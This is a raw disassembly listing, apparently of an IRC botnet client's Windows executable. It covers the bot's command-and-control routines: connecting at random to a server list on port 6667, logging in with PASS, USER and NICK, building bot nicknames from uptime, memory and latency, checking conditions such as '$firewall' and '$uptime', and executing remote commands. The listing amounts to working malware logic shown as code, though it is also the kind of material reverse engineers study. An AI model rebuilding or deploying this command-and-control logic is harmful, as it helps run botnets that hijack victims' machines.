		push	ebp
		mov	ebp, esp
		sub	esp, 534h
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_534]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		and	[ebp+var_20C], 0


loc_40C98D:				; CODE XREF: sub_40C93C+D6j
		cmp	[ebp+var_204], 0
		jnz	short loc_40C998
		jmp	short loc_40CA17
; ---------------------------------------------------------------------------


loc_40C998:				; CODE XREF: sub_40C93C+58j
					; sub_40C93C+79j
		mov	eax, [ebp+var_204]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40C9A8
		jmp	short loc_40C9B7
; ---------------------------------------------------------------------------


loc_40C9A8:				; CODE XREF: sub_40C93C+68j
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax
		jmp	short loc_40C998
; ---------------------------------------------------------------------------


loc_40C9B7:				; CODE XREF: sub_40C93C+6Aj
		push	[ebp+var_204]
		lea	eax, [ebp+var_38F]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416BAE
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_20C]
		mov	[ebp+var_204], eax
		jmp	loc_40C98D
; ---------------------------------------------------------------------------


loc_40CA17:				; CODE XREF: sub_40C93C+5Aj
		push	[ebp+var_534]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40C93C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA29	proc near		; CODE XREF: sub_40CEB0+8p

var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1C8		= byte ptr -1C8h
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= byte ptr -1A0h
var_190		= byte ptr -190h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ECh
		cmp	[ebp+arg_0], 0
		jz	short loc_40CA43
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 28h
		jz	short loc_40CA4A


loc_40CA43:				; CODE XREF: sub_40CA29+Dj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA4A:				; CODE XREF: sub_40CA29+18j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	offset asc_419FB0 ; ")"
		push	[ebp+arg_0]
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_40CA70
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA70:				; CODE XREF: sub_40CA29+3Ej
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		cmp	eax, 180h
		jbe	short loc_40CA8A
		mov	[ebp+var_1EC], 180h
		jmp	short loc_40CA97
; ---------------------------------------------------------------------------


loc_40CA8A:				; CODE XREF: sub_40CA29+53j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+var_1EC], eax


loc_40CA97:				; CODE XREF: sub_40CA29+5Fj
		push	[ebp+var_1EC]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1
		push	1
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		and	[ebp+var_C], 0


loc_40CAE1:				; CODE XREF: sub_40CA29+475j
		cmp	[ebp+var_4], 0
		jnz	short loc_40CAEC
		jmp	loc_40CEA3
; ---------------------------------------------------------------------------


loc_40CAEC:				; CODE XREF: sub_40CA29+BCj
					; sub_40CA29+D7j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40CAF9
		jmp	short loc_40CB02
; ---------------------------------------------------------------------------


loc_40CAF9:				; CODE XREF: sub_40CA29+CCj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40CAEC
; ---------------------------------------------------------------------------


loc_40CB02:				; CODE XREF: sub_40CA29+CEj
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	[ebp+var_4]
		call	sub_416BA2
		add	esp, 14h
		cmp	eax, 3
		jz	short loc_40CB33
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CB33:				; CODE XREF: sub_40CA29+101j
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_1A4], eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_1A8], eax
		cmp	[ebp+var_1A4], 0
		jnz	loc_40CC6E
		push	offset dword_418F50
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CC6E
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBB1
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A4], eax
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBB1:				; CODE XREF: sub_40CA29+16Dj
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBD7
		mov	[ebp+var_1A4], 3B7h
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBD7:				; CODE XREF: sub_40CA29+19Dj
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBFB
		call	sub_408E8E
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBFB:				; CODE XREF: sub_40CA29+1C3j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC1F
		call	sub_408887
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC1F:				; CODE XREF: sub_40CA29+1E7j
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC43
		call	sub_404279
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC43:				; CODE XREF: sub_40CA29+20Bj
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC67
		call	sub_4043E9
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC67:				; CODE XREF: sub_40CA29+22Fj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CC6E:				; CODE XREF: sub_40CA29+137j
					; sub_40CA29+152j ...
		cmp	[ebp+var_1A8], 0
		jnz	loc_40CD83
		push	offset dword_418F50
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CD83
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCC6
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A8], eax
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCC6:				; CODE XREF: sub_40CA29+282j
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCEC
		mov	[ebp+var_1A8], 3B7h
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCEC:				; CODE XREF: sub_40CA29+2B2j
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD10
		call	sub_408E8E
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD10:				; CODE XREF: sub_40CA29+2D8j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD34
		call	sub_408887
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD34:				; CODE XREF: sub_40CA29+2FCj
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD58
		call	sub_404279
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD58:				; CODE XREF: sub_40CA29+320j
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD7C
		call	sub_4043E9
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD7C:				; CODE XREF: sub_40CA29+344j
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CD83:				; CODE XREF: sub_40CA29+24Cj
					; sub_40CA29+267j ...
		push	offset asc_419F5C ; "=="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDAF
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jz	short loc_40CDAF
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDAF:				; CODE XREF: sub_40CA29+36Fj
					; sub_40CA29+37Dj
		push	offset asc_419F58 ; "!="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDDB
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnz	short loc_40CDDB
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDDB:				; CODE XREF: sub_40CA29+39Bj
					; sub_40CA29+3A9j
		push	offset asc_419F54 ; ">"
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE07
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		ja	short loc_40CE07
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE07:				; CODE XREF: sub_40CA29+3C7j
					; sub_40CA29+3D5j
		push	offset asc_419F50 ; ">="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE30
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnb	short loc_40CE30
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE30:				; CODE XREF: sub_40CA29+3F3j
					; sub_40CA29+401j
		push	offset dword_419968
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE59
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jb	short loc_40CE59
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE59:				; CODE XREF: sub_40CA29+41Cj
					; sub_40CA29+42Aj
		push	offset asc_419F4C ; "<="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE82
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jbe	short loc_40CE82
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE82:				; CODE XREF: sub_40CA29+445j
					; sub_40CA29+453j
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_40CAE1
; ---------------------------------------------------------------------------


loc_40CEA3:				; CODE XREF: sub_40CA29+BEj
		mov	eax, [ebp+var_10]
		inc	eax
		push	eax
		call	sub_40C916
		pop	ecx

locret_40CEAE:				; CODE XREF: sub_40CA29+1Cj
					; sub_40CA29+42j ...
		leave
		retn
sub_40CA29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEB0	proc near		; CODE XREF: sub_40A9CF+14CEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	sub_40CA29
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40CEC9
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEC9:				; CODE XREF: sub_40CEB0+15j
		push	327h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40CEDF
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEDF:				; CODE XREF: sub_40CEB0+2Bj
		push	180h
		push	[ebp+var_8]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	[ebp+var_4]
		push	offset sub_40C93C
		call	sub_4095A4
		add	esp, 14h

locret_40CF23:				; CODE XREF: sub_40CEB0+17j
					; sub_40CEB0+2Dj
		leave
		retn
sub_40CEB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF25	proc near		; CODE XREF: sub_4020C2+B3p
					; sub_40D871+59Bp ...
		push	ebp
		mov	ebp, esp
		mov	eax, dword_41EA84
		pop	ebp
		retn
sub_40CF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF2F	proc near		; CODE XREF: sub_40D366+Dp
					; sub_40D366+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_40CF9E
		push	[ebp+arg_0]
		push	offset dword_41E978
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40CF60
		push	[ebp+arg_4]
		push	offset dword_41EA78
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF71
; ---------------------------------------------------------------------------


loc_40CF60:				; CODE XREF: sub_40CF2F+1Ej
		push	offset a6667	; "6667"
		push	offset dword_41EA78
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40CF71:				; CODE XREF: sub_40CF2F+2Fj
		cmp	[ebp+arg_8], 0
		jz	short loc_40CF88
		push	[ebp+arg_8]
		push	offset byte_41E7F8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF99
; ---------------------------------------------------------------------------


loc_40CF88:				; CODE XREF: sub_40CF2F+46j
		push	offset byte_41DF10
		push	offset byte_41E7F8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40CF99:				; CODE XREF: sub_40CF2F+57j
		jmp	loc_40D020
; ---------------------------------------------------------------------------


loc_40CF9E:				; CODE XREF: sub_40CF2F+9j
		and	[ebp+var_4], 0
		jmp	short loc_40CFAB
; ---------------------------------------------------------------------------


loc_40CFA4:				; CODE XREF: sub_40CF2F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40CFAB:				; CODE XREF: sub_40CF2F+73j
		mov	eax, [ebp+var_4]
		imul	eax, 0Ch
		cmp	off_41DB20[eax], 0
		jz	short loc_40CFBC
		jmp	short loc_40CFA4
; ---------------------------------------------------------------------------


loc_40CFBC:				; CODE XREF: sub_40CF2F+89j
		call	sub_410422
		xor	edx, edx
		div	[ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DB20[eax]
		push	offset dword_41E978
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DB24[eax]
		push	offset dword_41EA78
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	dword_41DB28[eax], 0
		jz	short loc_40D020
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	dword_41DB28[eax]
		push	offset byte_41E7F8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D020:				; CODE XREF: sub_40CF2F:loc_40CF99j
					; sub_40CF2F+D7j
		push	offset dword_41E978
		call	sub_4105AD
		pop	ecx
		push	offset dword_41EA78
		call	sub_4105AD
		pop	ecx
		push	offset byte_41E7F8
		call	sub_4105AD
		pop	ecx
		leave
		retn
sub_40CF2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D043	proc near		; CODE XREF: sub_40D366+7Fp
					; sub_40D871+619p

var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		movsx	eax, byte_41E7F8
		test	eax, eax
		jz	short loc_40D099
		push	offset byte_41E7F8
		call	sub_4105FB
		pop	ecx
		push	offset byte_41E7F8
		push	offset aPassS	; "PASS	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset byte_41E7F8
		call	sub_4105AD
		pop	ecx


loc_40D099:				; CODE XREF: sub_40D043+2Dj
		cmp	[ebp+arg_0], 0
		jz	loc_40D132
		movsx	eax, byte_41EFA8
		test	eax, eax
		jz	short loc_40D0C3
		push	offset byte_41EFA8
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D0C3:				; CODE XREF: sub_40D043+69j
		lea	eax, [ebp+var_184]
		push	eax
		push	offset byte_41EFA8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D0D6:				; CODE XREF: sub_40D043+7Ej
		movsx	eax, byte_41F128
		test	eax, eax
		jz	short loc_40D0F6
		push	offset byte_41F128
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D109
; ---------------------------------------------------------------------------


loc_40D0F6:				; CODE XREF: sub_40D043+9Cj
		lea	eax, [ebp+var_104]
		push	eax
		push	offset byte_41F128
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D109:				; CODE XREF: sub_40D043+B1j
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_40D6CB
		add	esp, 14h


loc_40D132:				; CODE XREF: sub_40D043+5Aj
		cmp	[ebp+arg_4], 0
		jz	loc_40D363
		cmp	[ebp+arg_0], 0
		jz	short loc_40D163
		movsx	eax, byte_41EF28
		test	eax, eax
		jz	short loc_40D163
		push	offset byte_41EF28
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40D363
; ---------------------------------------------------------------------------


loc_40D163:				; CODE XREF: sub_40D043+FDj
					; sub_40D043+108j
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_188], eax
		cmp	[ebp+var_188], 4
		jnb	short loc_40D18D
		call	sub_406AE7
		test	eax, eax
		jz	loc_40D31F


loc_40D18D:				; CODE XREF: sub_40D043+13Bj
		call	sub_406A23
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40D1B6
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D1B6:				; CODE XREF: sub_40D043+15Ej
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40D1CF
		call	sub_408E8E
		mov	[ebp+var_250], eax
		jmp	short loc_40D1D9
; ---------------------------------------------------------------------------


loc_40D1CF:				; CODE XREF: sub_40D043+17Dj
		mov	[ebp+var_250], 400h


loc_40D1D9:				; CODE XREF: sub_40D043+18Aj
		mov	eax, [ebp+var_250]
		shr	eax, 0Ah
		mov	[ebp+var_228], eax
		call	sub_408887
		mov	[ebp+var_18C], eax
		mov	[ebp+var_224], offset aB ; "B"
		cmp	[ebp+var_18C], 2EEh
		jnb	short loc_40D213
		mov	[ebp+var_224], offset aA ; "A"


loc_40D213:				; CODE XREF: sub_40D043+1C4j
		cmp	[ebp+var_18C], 1F4h
		jnb	short loc_40D229
		mov	[ebp+var_224], offset aG ; "G"


loc_40D229:				; CODE XREF: sub_40D043+1DAj
		and	[ebp+var_22C], 0
		mov	[ebp+var_220], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_21C]
		rep stosd
		lea	eax, [ebp+var_220]
		push	eax
		call	dword_417030
		cmp	[ebp+var_21C], 5
		jnz	short loc_40D270
		cmp	[ebp+var_218], 1
		jnz	short loc_40D270
		mov	[ebp+var_22C], 1


loc_40D270:				; CODE XREF: sub_40D043+218j
					; sub_40D043+221j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_22C], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_224]
		push	[ebp+var_228]
		push	5Dh
		push	[ebp+var_188]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_24C]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B5E
		add	esp, 34h
		movsx	eax, byte_41DC10
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DC10
		push	offset dword_41DB90
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41DB90
		call	sub_4105FB
		pop	ecx
		movsx	eax, byte_41DC90
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DC90
		push	offset dword_41EE28
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41EE28
		call	sub_4105FB
		pop	ecx


loc_40D31D:				; CODE XREF: sub_40D043+295j
					; sub_40D043+2BCj
		jmp	short loc_40D343
; ---------------------------------------------------------------------------


loc_40D31F:				; CODE XREF: sub_40D043+144j
		push	offset dword_41DB80
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40D343:				; CODE XREF: sub_40D043:loc_40D31Dj
		lea	eax, [ebp+var_80]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		push	offset byte_41EF28
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D363:				; CODE XREF: sub_40D043+F3j
					; sub_40D043+11Bj
		pop	edi
		leave
		retn
sub_40D043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D366	proc near		; CODE XREF: sub_40A9CF+1521p
					; sub_40D871+4A7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF2F
		add	esp, 0Ch
		push	dword_41EA84
		call	sub_40538D
		pop	ecx
		mov	[ebp+var_4], 0EA60h


loc_40D38E:				; CODE XREF: sub_40D366:loc_40D419j
		push	offset dword_41E978
		call	sub_4105FB
		pop	ecx
		push	offset dword_41EA78
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	1
		push	offset dword_41EA78
		push	offset dword_41E978
		call	sub_4050EA
		add	esp, 10h
		mov	dword_41EA84, eax
		push	offset dword_41E978
		call	sub_4105AD
		pop	ecx
		push	offset dword_41EA78
		call	sub_4105AD
		pop	ecx
		cmp	dword_41EA84, 0
		jz	short loc_40D3EE
		push	1
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	short locret_40D41E
; ---------------------------------------------------------------------------


loc_40D3EE:				; CODE XREF: sub_40D366+79j
		push	0
		push	0
		push	0
		call	sub_40CF2F
		add	esp, 0Ch
		push	[ebp+var_4]
		call	dword_41709C
		cmp	[ebp+var_4], 0A4CB80h
		jge	short loc_40D419
		mov	eax, [ebp+var_4]
		add	eax, 0EA60h
		mov	[ebp+var_4], eax


loc_40D419:				; CODE XREF: sub_40D366+A6j
		jmp	loc_40D38E
; ---------------------------------------------------------------------------

locret_40D41E:				; CODE XREF: sub_40D366+86j
		leave
		retn
sub_40D366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D420	proc near		; CODE XREF: sub_4020C2:loc_4022A0p
					; sub_40A9CF+1219p ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41EA84
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


